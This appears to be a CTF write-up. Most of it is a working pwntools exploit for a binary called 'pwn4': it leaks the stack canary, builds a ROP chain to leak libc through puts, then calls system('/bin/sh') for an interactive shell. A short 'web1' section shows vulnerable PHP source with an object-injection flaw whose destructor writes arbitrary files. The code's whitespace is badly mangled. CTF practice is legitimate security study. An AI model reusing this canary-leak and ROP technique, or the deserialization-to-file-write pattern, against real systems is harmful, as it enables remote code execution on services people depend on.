from pwn import*
context.log_level ='debug'
context.terminal =['deepin-terminal','-x','sh','-c']#nc 172.29.29.113 8888#r = remote("172.29.29.113",8888)
r = process("./pwn4")file= ELF("./pwn4")
libc = ELF("./libc.so.6")
r.recvuntil("do you would to sort your girlfriends?[Y/N/@]")
r.send("@")
r.recvuntil("please answer the question1:")
r.send("^")
r.recvuntil("please answer the question2:")
r.send("^")
r.recvuntil("please input your name:")
r.sendline("radish")
r.recvuntil("how many girlfriends do you have?\n")
r.sendline("30")for x inrange(10):
r.recvuntil("girlfriends:")
r.sendline(str(0))for x inrange(2):
r.recvuntil("girlfriends:")
r.sendline("-")for x inrange(18):
r.recvuntil("girlfriends:")
r.sendline(str(0))
r.recvuntil("this is the sort result:")
data = r.recvuntil("you can change your girlfriend\n",drop=True)
list_1 = data.split(" ")
list_2 =[]for x inrange(len(list_1)-1):ifeval(list_1[x])<0oreval(list_1[x])>9:
list_2.append(eval(list_1[x]))for x inrange(2):if list_2[x]<0:
list_2[x]=hex(0xffffffff+list_2[x]+1)else:
list_2[x]=hex(list_2[x])if list_2[0][-2:]=="00":
canary = list_2[1]+list_2[0][2:]
canary_1 = list_2[1]
canary_2 = list_2[0]else:
canary = list_2[0]+list_2[1][2:]
canary_1 = list_2[0]
canary_2 = list_2[1]
log.info("canary: "+canary)
log.info("canary_1:"+canary_1)
log.info("canary_2:"+canary_2)
r.sendline("0")
r.recvuntil("which girlfriend do you want to change?")
r.sendline("27")#gdb.attach(r)for x inrange(10):
r.recvuntil("now change:\n")
r.sendline(str(1))#canary
r.recvuntil("now change:\n")
r.sendline(str(eval(canary_2)))
r.recvuntil("now change:\n")
r.sendline(str(eval(canary_1)))#rbp
r.recvuntil("now change:\n")
r.sendline(str(1))
r.recvuntil("now change:\n")
r.sendline(str(1))
pop_rdi_addr =0x0000000000400d93
puts_plt =file.plt['puts']
puts_got =file.got['puts']
main_addr =0x000000000400895#ret1
r.recvuntil("now change:\n")
r.sendline(str(int(pop_rdi_addr)))
r.recvuntil("now change:\n")
r.sendline(str(0))#data1
r.recvuntil("now change:\n")
r.sendline(str(int(puts_got)))
r.recvuntil("now change:\n")
r.sendline(str(0))#ret2
r.recvuntil("now change:\n")
r.sendline(str(int(puts_plt)))
r.recvuntil("now change:\n")
r.sendline(str(0))#ret3
r.recvuntil("now change:\n")
r.sendline(str(int(main_addr)))
r.recvuntil("now change:\n")
r.sendline(str(0))for x inrange(5):
r.recvuntil("now change:\n")
r.sendline(str(0))
puts_addr = u64(r.recvuntil("\n",drop=True)+"\x00\x00")
base_addr = puts_addr-libc.symbols['puts']
system_addr = base_addr+libc.symbols['system']
binsh_addr = base_addr+0x000000000017d3f3
log.info("puts_addr:"+hex(puts_addr))
log.info("base_addr:"+hex(base_addr))
log.info("system_addr:"+hex(system_addr))
log.info("binsh_addr:"+hex(binsh_addr))defchange_addr(data):
data_hex =hex(data)
a = data_hex[:6]
b ="0x"+data_hex[6:]returneval(a),eval(b)
system_addr_1,system_addr_2 = change_addr(system_addr)
binsh_addr_1,binsh_addr_2 = change_addr(binsh_addr)
r.recvuntil("how many girlfriends do you have?\n")
r.sendline("1")
r.recvuntil("girlfriends:")
r.sendline("1")
r.recvuntil("you can change your girlfriend\n")
r.sendline("0")
r.recvuntil("which girlfriend do you want to change?")
r.sendline("27")for x inrange(10):
r.recvuntil("now change:\n")
r.sendline(str(1))#canary
r.recvuntil("now change:\n")
r.sendline(str(eval(canary_2)))
r.recvuntil("now change:\n")
r.sendline(str(eval(canary_1)))#rbp
r.recvuntil("now change:\n")
r.sendline(str(1))
r.recvuntil("now change:\n")
r.sendline(str(1))#ret1
r.recvuntil("now change:\n")
r.sendline(str(int(pop_rdi_addr)))
r.recvuntil("now change:\n")
r.sendline(str(0))#data1
r.recvuntil("now change:\n")
r.sendline(str(int(binsh_addr_2)))
r.recvuntil("now change:\n")
r.sendline(str(int(binsh_addr_1)))#ret2
r.recvuntil("now change:\n")
r.sendline(str(int(system_addr_2)))
r.recvuntil("now change:\n")
r.sendline(str(int(system_addr_1)))for x inrange(7):
r.recvuntil("now change:\n")
r.sendline(str(0))
sleep(0.2)
r.interactive()
web1
给出源码,很容易发现这是一个对象注入的题
<?php// ini_set("display_errors", "On"); // error_reporting(E_ALL | E_STRICT); classBlogLog{public$log_='/tmp/web_log';public$content='[access] %s';publicfunction__construct($data=null){$temp=$this->init($data);$this->render($temp);}publicfunctioninit($data){// No, you can't control an object anymore! $format='/O:\d:/';$flag=true;$flag=$flag&&substr($data,0,2)!=='O:';$flag=$flag&&(!preg_match($format,$data));if($flag){return($data);}return[];}publicfunctioncreateLog($filename=null,$content=null){if($this->log_!=null)$filename=$this->log_;if($this->content!=null)$content=$this->content;file_put_contents($filename,$content);}publicfunctionrender($k){echosprintf($this->content,$k['name']);}publicfunction__destruct(){$this->createLog();}}$data="";if(isset($_GET['data'])){$data=$_GET['data'];newBlogLog($data);}elsehighlight_file(__FILE__);